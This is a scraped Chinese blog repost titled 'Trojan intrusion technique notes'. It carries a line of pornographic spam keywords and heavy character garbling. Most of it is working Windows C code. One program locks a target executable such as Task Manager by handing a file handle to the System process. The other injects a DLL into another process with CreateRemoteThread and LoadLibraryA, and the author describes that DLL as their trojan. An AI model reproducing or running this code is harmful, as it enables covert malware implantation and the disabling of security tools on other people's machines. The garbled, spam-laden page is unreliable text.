日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

木马侵入技术小记

發(fā)布時間:2025/4/5 编程问答 45 豆豆
生活随笔 收集整理的這篇文章主要介紹了 木马侵入技术小记 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.


1在我的程序運行期間如何禁止某個程序運行,不需要枚舉窗口或者FindWindow的方案。

//VC-ConsoleWithApi? #include?? void RaiseToDebugP()?//提權(quán)函數(shù)? {? HANDLE hToken;? HANDLE hProcess = GetCurrentProcess();//獲得當(dāng)前進(jìn)程號 if ( OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) )? { ?//獲得進(jìn)程的訪問令牌(用于修改該進(jìn)程權(quán)限) 保存于hToken里 ?TOKEN_PRIVILEGES tkp;? ??if ( LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid) )? ??{?//獲得SE_DEBUG_NAME權(quán)限對應(yīng)的GUID ?? tkp.PrivilegeCount = 1;? ???tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ? ???BOOL bREt = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0) ;? ??}?//調(diào)整hToken句柄對應(yīng)的進(jìn)程的權(quán)限 ?CloseHandle(hToken);? }????? }? ??BOOL OccupyFile( LPCTSTR lpFileName )? ??{? ??????BOOL??? bRet;? ??????RaiseToDebugP();?//提升自身權(quán)限? ???//打開一個pid為4的進(jìn)程,只要是存在的進(jìn)程,都可以? ???HANDLE hProcess = OpenProcess( PROCESS_DUP_HANDLE, FALSE, 4);// 4為system進(jìn)程號? ??????if ( hProcess == NULL )? ??????{??????????? ????return FALSE;? ??????}? ??????HANDLE hFile;? ??????HANDLE hTargetHandle;? ???//以獨占模式打開目標(biāo)文件 參數(shù) 0表示不能被共享 ?? hFile = CreateFile( lpFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL);????? ???????????if ( hFile == INVALID_HANDLE_VALUE )? ??????{? ??????????CloseHandle( hProcess );? ??????????return FALSE;? ??????}? ?//把文件句柄復(fù)制到pid=4的進(jìn)程中去,這樣,只要pid=4的進(jìn)程不退出,誰也動不了目標(biāo)文件? ??bRet = DuplicateHandle( GetCurrentProcess(), hFile, hProcess, &hTargetHandle,?? ??????????0, FALSE, DUPLICATE_SAME_ACCESS|DUPLICATE_CLOSE_SOURCE);??????? CloseHandle( hProcess );??????? return bRet;? ??}? ??//入口函數(shù)? ??int main()? ??{? ??????OccupyFile("D:""Program Files""工具軟件""任務(wù)管理.exe");? ?????//任務(wù)管理.exe為要禁止運行的程序 ????? return 0;? ??}

2 遠(yuǎn)程注入

#include <windows.h>
?

#include <iostream.h>

int EnableDebugPriv(const char * name)
{
?????????????????????????? HANDLE hToken;

?????????????????????????? TOKEN_PRIVILEGES tp;

?????????????????????????? LUID luid;

?????????????????????????? //打開進(jìn)程令牌環(huán)

?OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, ?&hToken);

?????????????????????????? //獲得進(jìn)程本地唯一ID

???????????????????

??????? LookupPrivilegeValue(NULL,name,&luid) ;

?????????????????????????? tp.PrivilegeCount = 1;

?????????????????????????? tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

?????????????????????????? tp.Privileges[0].Luid = luid;

?????????????????????????? //調(diào)整權(quán)限

?????????????????????????? AdjustTokenPrivileges(hToken,0,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL);

?????????????????????????? return 0;


}

//************************************************************************************************************

BOOL InjectDll(const char *DllFullPath, const DWORD dwRemoteProcessId)

{

?????????????????????????? HANDLE hRemoteProcess;

?????????????????????????? EnableDebugPriv(SE_DEBUG_NAME); //提升當(dāng)前進(jìn)程的權(quán)限,這樣才能控制我們要注入dll的那個進(jìn)程。上例有詳細(xì)說明。

?????????????????????????? //打開遠(yuǎn)程線程

?????????????????????????? hRemoteProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, dwRemoteProcessId );

??????????????????????

???? char *pszLibFileRemote;
??????????????????

???????? //使用VirtualAllocEx函數(shù)在遠(yuǎn)程進(jìn)程的內(nèi)存地址空間分配DLL文件名空間

pszLibFileRemote =(char*)VirtualAllocEx(hRemoteProcess, NULL, lstrlen(DllFullPath)+1, MEM_COMMIT, PAGE_READWRITE);
??????????????????????????

//使用WriteProcessMemory函數(shù)將DLL的路徑名寫入到遠(yuǎn)程進(jìn)程的內(nèi)存空間
?

WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (void *) DllFullPath, lstrlen(DllFullPath)+1, NULL);


// pszLibFileRemote 為保存dll路徑的注入進(jìn)程的地址。

//##############################################################################

?????????????????????????? //計算LoadLibraryA的入口地址

PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA"); //獲得dll內(nèi)函數(shù)LoadLibraryA的地址
??????????????????????

???? //(關(guān)于GetModuleHandle函數(shù)和GetProcAddress函數(shù))

?????????????????????????? //啟動遠(yuǎn)程線程LoadLibraryA,通過遠(yuǎn)程線程調(diào)用創(chuàng)建新的線程

????????

?????????????????? HANDLE hRemoteThread;

if( (hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL) ) == NULL) //在遠(yuǎn)端進(jìn)程中創(chuàng)建一個線程,啟動我們的dll中的LoadLibraryA

?????????????????????????? {
?????????????????????????????? cout<<"
注入線程失敗!"<<endl;

?????????????????????????????? return FALSE;
?????????????????????????? }

//##############################################################################

??????????????????????

???? /*
?????????????????????????? //
在//###.....//###里的語句也可以用如下的語句代替:

??????????????????????????? DWORD dwID;

LPVOID pFunc = LoadLibraryA;

HANDLE hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, pszLibFileRemote, 0, &dwID );

??????????????????????????? //是不是感覺簡單了很多

?????????????????????????? */

???????????????????????????? // 釋放句柄

?????????????????????????? CloseHandle(hRemoteProcess);

?????????????????????????? CloseHandle(hRemoteThread);

?????????????????????????? return TRUE;
}

//*****************************************************************************************************************************

int main()

{

????? InjectDll("c:""zrqfzr.dll",3060) ;//把zrqfzr.dll注入進(jìn)程的ID號為3060的進(jìn)程

???????return 0;

}


恩好好好,我來解釋一下,這就是一個最簡單的控制臺程序,dll文件里面就是我們寫的木馬程序了。3060是我們要侵占的程序的Id號,普通的程序中直接調(diào)用dll時用LoadLibrary(**.dll) 就可以了

(動態(tài)接在),但是現(xiàn)在我們不能直接調(diào)用,因為調(diào)用這句也只有我們現(xiàn)在的進(jìn)程知道,但是遠(yuǎn)端我們要注入的進(jìn)程還是不知道我們調(diào)用了,dll庫。所以我們要把.dll

的路徑存放到遠(yuǎn)端進(jìn)程的內(nèi)存中。(通過VirtualAllocEx()WriteProcessMemory();/)然后在遠(yuǎn)端進(jìn)程中開啟線程

CreateRemoteThread(hRemoteProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, pszLibFileRemote, 0, &dwID );注意參數(shù)pszLibFileRemote這就是遠(yuǎn)端進(jìn)程保存的我們dll

文件路徑的內(nèi)存的首地址。通過這個路徑,我們的遠(yuǎn)端進(jìn)程就可以去找dll的實現(xiàn)文件。從而找到LoadLibraryA的地址,就可以運行LoadLibraryA函數(shù)了。

1 程序首先提升自身的權(quán)限(這樣才好控制別人嘛)

2 通過進(jìn)程Id獲得我們要控制的進(jìn)程的句柄,


3DLL文件的路徑寫入到宿主的內(nèi)存空間里,因為DLL的文件路徑并不存在于宿主進(jìn)程內(nèi)存空間了,用到的函數(shù)有:

OpenProcess()//用于修改宿主進(jìn)程的一些屬性,詳細(xì)參看MSDN

VirtualAllocEx()//用于在宿主內(nèi)存空間中申請內(nèi)存空間以寫入DLL的文件名

WriteProcessMemory();//往申請到的空間中寫入DLL的文件名


4在宿主中啟動新的線程

用的是LoadLibraryA()函數(shù)來加載,但在使用LoadLibraryA()之前必須知道它的入口地址,所以用GetProcAdress來獲得它的入口地址,有了它的地址以后,就可以用CreateRemoteThread()

函數(shù)來啟動新的線程了,到次,整個注入過程完成,不過還不非常完善,這就留給聰明的你來完成了;)。


詳見:http://hi.baidu.com/43755979/blog/item/73b35eddcbaab7db8d1029e2.html

?

轉(zhuǎn)載于:https://www.cnblogs.com/SuperXJ/archive/2009/09/27/1575262.html

總結(jié)

以上是生活随笔為你收集整理的木马侵入技术小记的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。